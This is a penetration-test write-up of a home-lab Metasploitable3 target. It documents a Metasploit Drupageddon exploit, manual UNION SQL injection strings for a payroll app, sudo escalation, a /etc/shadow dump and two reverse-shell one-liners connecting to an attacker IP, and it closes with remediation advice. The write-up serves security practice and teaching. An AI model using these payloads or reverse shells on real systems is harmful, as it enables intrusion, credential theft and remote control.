Metasploitable3 — Penetration Test Report

Author: Arlen Fortunato
Date: September 2026
Environment: Parrot OS (attacker) → Metasploitable3 Ubuntu 14.04 (target)
Scope: Full network penetration test — enumeration, exploitation, privesc, post-exploitation
Type: Home Lab / Capture The Flag Practice

⚠️ All credentials below are redacted. This was a legal, isolated home-lab exercise.

Tools Used

Tool	Role
Nmap	Port scan, service/version detection, OS fingerprint
Metasploit (msfconsole)	Exploitation (CVE-2014-3704), session management
msfvenom	Payload generation (bash/netcat reverse shells)
nc (netcat)	Reverse shell listener
curl / sed	Manual SQLi crafting + HTML output formatting
ssh / scp	Remote access, credential validation
openssl s_client	TLS/SSL service verification
gobuster	Directory brute-forcing (web enumeration)

Reconnaissance — Nmap Full Port Scan

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

Port	State	Service	Version
21/tcp	open	FTP	ProFTPD 1.3.5
22/tcp	open	SSH	OpenSSH 6.6.1p1
80/tcp	open	HTTP	Apache httpd 2.4.7 (Ubuntu)
445/tcp	open	SMB	Samba smbd 3.X–4.X
631/tcp	open	IPP	CUPS 1.7
3306/tcp	open	MySQL	MySQL (unauthorized)
3500/tcp	open	HTTP	WEBrick httpd 1.3.1 (Ruby 2.3.8)
6697/tcp	open	IRC	UnrealIRCd
8080/tcp	open	HTTP	Jetty 8.1.7.v20120910

OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

Findings Summary

#	Vulnerability	CVE / Type	Port	Severity	Result
1	UnrealIRCd version fingerprint — backdoor probe	CVE-2010-2075	6697	⚠️ False positive	Module auto-check passed, manual probe failed — backdoor absent in build
2	Drupal 7.5 — Drupageddon RCE	CVE-2014-3704	80	🔴 Critical	Meterpreter shell as `www-data`
3	Payroll app — UNION SQLi (manual)	Manual injection	80	🔴 Critical	Full DB dump (15 users, plaintext passwords — redacted)
4	SSH — default + reused credentials	Default / credential reuse	22	🔴 Critical	`vagrant` (NOPASSWD sudo), `luke_skywalker` (sudo ALL)
5	Privilege escalation (two paths)	Misconfigured sudo	N/A	🔴 Critical	root via both accounts
6	Shadow dump	Post-exploitation	N/A	🔴 Critical	16 md5crypt hashes extracted
7	Reverse shells (bash + netcat)	msfvenom / manual crafting	4444/4445	🟠 High	Interactive shells caught on attacker listener

Finding Details

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — False Positive

Vulnerability: UnrealIRCd 3.2.8.1 was historically distributed with a trojaned binary that executes arbitrary commands when an unauthenticated client sends a trigger string before registration — RCE as the IRC daemon user.

Exploitation attempt: Metasploit module exploit/unix/irc/unreal_ircd_3281_backdoor with payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Module auto-check reported the service as vulnerable; no session returned on any payload.

Troubleshooting performed:

Port reachable (nc -vz)
Port confirmed plaintext IRC, not TLS (openssl s_client)
Manual reverse connect-back from target confirmed outbound networking works
Manual backdoor trigger over nc returned IRC protocol error 451 — command parsed as IRC command, never executed

Conclusion: Version banner indicates the vulnerable build, but the backdoor is absent in this instance (clean/recompiled binary). Classified non-exploitable — false positive, with evidence.

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Vulnerability: Drupal 7.x before 7.32 contains a critical SQL injection in the database abstraction layer enabling unauthenticated remote code execution.

Version confirmation: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Exploitation:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Result:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Post-exploitation enumeration:

/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
/home: 16 user accounts

3. Payroll App — UNION-Based SQL Injection (Manual)

Vulnerability: payroll_app.php login form, SQL injection in password field. No automation used — crafted via curl.

Step 1 — Authentication bypass:

' or 1=1#

' closes the SQL string, or 1=1 forces true, # comments out the trailing quote.

Step 2 — Column count + display mapping:

' UNION SELECT null, null, null, null#     -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4#                 -- markers: 1=Username, 2=First, 3=Last, 4=Salary

Step 3 — information_schema enumeration:

Question	Answer
DB version / user	MySQL 5.5.62, `root@localhost`
Databases	information_schema, drupal, mysql, payroll, performance_schema
Tables in `payroll`	users
Columns in `users`	username, first_name, last_name, password, salary

Step 4 — Dump (passwords redacted):

' UNION SELECT username, password, salary, null FROM users#

Username	Password	Salary
leia_organa	[REDACTED]	9560
luke_skywalker	[REDACTED]	1080
han_solo	[REDACTED]	1200
artoo_detoo	[REDACTED]	22222
boba_fett	[REDACTED]	20000
greedo	[REDACTED]	50000
(+ 9 more accounts)	[REDACTED]	—

4. SSH — Default Credentials & Credential Reuse

Path 1 — Default account: default vagrant credential pair authenticated over SSH → user in sudo group with (ALL : ALL) NOPASSWD: ALL.

Path 2 — Credential reuse: credentials harvested from the SQLi dump authenticated directly over SSH as another lab user (luke_skywalker, sudo group, (ALL : ALL) ALL).

Significance: demonstrates cross-service credential reuse — application credentials mapped to a system account.

5. Privilege Escalation (Two Paths)

Path A: vagrant → sudo -l shows NOPASSWD: ALL → sudo su - → uid=0(root).
Path B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

No local exploit required — both accounts hold overly permissive sudo grants.

6. Shadow Dump

sudo cat /etc/shadow

Extracted 16 md5crypt ($1$) hashes — full credential harvesting post-privesc.

7. Post-Exploitation — Reverse Shells

Payload 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Caught on nc -lnvp 4444 → interactive shell.

Payload 2 — netcat (named-pipe):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Caught on nc -lnvp 4445 → interactive shell.

Mechanism: named pipe (FIFO) bridges netcat stdin/stdout to /bin/sh, forming a single-socket bidirectional tunnel; FIFO cleaned up afterward.

Remediation Recommendations

Finding	Recommendation
UnrealIRCd version fingerprint	Verify binary source integrity (checksums); upgrade or remove
Drupal 7.5	Upgrade to latest stable; apply SA-CORE-2014-005
Payroll SQLi	Parameterized queries / prepared statements; validate input
Default SSH credentials	Rotate/remove default accounts; enforce key-based auth
Sudo over-privilege	Apply least privilege; remove NOPASSWD blanket grants
Credential reuse	Enforce unique passwords per service; password policy
Weak password hashing	Migrate md5crypt → bcrypt / Argon2id

Most Popular

metasploitable3-pentest-writeup